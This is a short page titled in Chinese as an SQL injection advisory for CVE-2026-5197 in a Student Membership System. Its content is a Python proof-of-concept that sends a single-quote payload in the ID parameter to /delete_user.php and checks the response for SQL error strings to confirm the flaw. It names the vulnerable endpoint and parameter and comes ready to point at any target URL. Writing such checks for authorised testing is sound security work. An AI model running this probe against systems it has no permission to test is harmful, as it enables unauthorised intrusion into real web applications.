CVE-2026-5197 Student Membership System SQL注入漏洞

import requests def verify_sqli(url): """ PoC for CVE-2026-5197 Target: /delete_user.php Parameter: ID """ target = f"{url}/delete_user.php" # Payload to test basic SQL injection syntax error payload = { "ID": "1'" } try: response = requests.post(target, data=payload, timeout=5) # Checking for SQL syntax error in response (common in simple apps) if "syntax error" in response.text or "mysql_fetch" in response.text: print("[+] Vulnerability Detected: SQL Injection found.") else: print("[-] Vulnerability not detected or error message filtered.") except Exception as e: print(f"[!] Request failed: {e}") if __name__ == "__main__": target_url = "http://example.com" # Replace with actual target verify_sqli(target_url)